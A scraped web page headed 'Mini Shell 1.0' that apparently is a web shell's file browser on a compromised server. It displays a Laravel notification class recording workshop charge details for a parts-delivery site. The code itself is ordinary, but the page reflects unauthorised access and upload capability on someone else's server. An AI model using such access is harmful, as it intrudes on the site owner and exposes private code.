HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Notifications/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Notifications/workshopAdditionalNotification.php
<?php



namespace App\Notifications;



use App\Models\WorkshopAdditionalCharge;

use Illuminate\Bus\Queueable;

use Illuminate\Contracts\Queue\ShouldQueue;

use Illuminate\Notifications\Messages\MailMessage;

use Illuminate\Notifications\Notification;



class workshopAdditionalNotification extends Notification

{

    use Queueable;



    protected $workshopAdditionalCharge;



    /**

     * Create a new notification instance.

     *

     * @return void

     */

    public function __construct(WorkshopAdditionalCharge $workshopAdditionalCharge)

    {

        $this->workshopAdditionalCharge = $workshopAdditionalCharge;

    }



    /**

     * Get the notification's delivery channels.

     *

     * @param  mixed  $notifiable

     * @return array

     */

    public function via($notifiable)

    {

        return ['database'];

    }



    /**

     * Get the mail representation of the notification.

     *

     * @param  mixed  $notifiable

     * @return \Illuminate\Notifications\Messages\MailMessage

     */

    public function toMail($notifiable)

    {

        return (new MailMessage)

                    ->line('The introduction to the notification.')

                    ->action('Notification Action', url('/'))

                    ->line('Thank you for using our application!');

    }



    /**

     * Get the array representation of the notification.

     *

     * @param  mixed  $notifiable

     * @return array

     */

    public function toArray($notifiable)

    {

        return [

            ///fecha de propuesta

            'created_at' => $this->workshopAdditionalCharge->created_at,

            ///name del taller

            'name' => $this->workshopAdditionalCharge->workshopServiceProposal->workshop->name,

            ///id del la propuesta adicional

            'id' => $this->workshopAdditionalCharge->workshopServiceProposal->id,

            ///orden de compra

            'order_code' => $this->workshopAdditionalCharge->workshopServiceProposal->order->code   

        ];

    }

}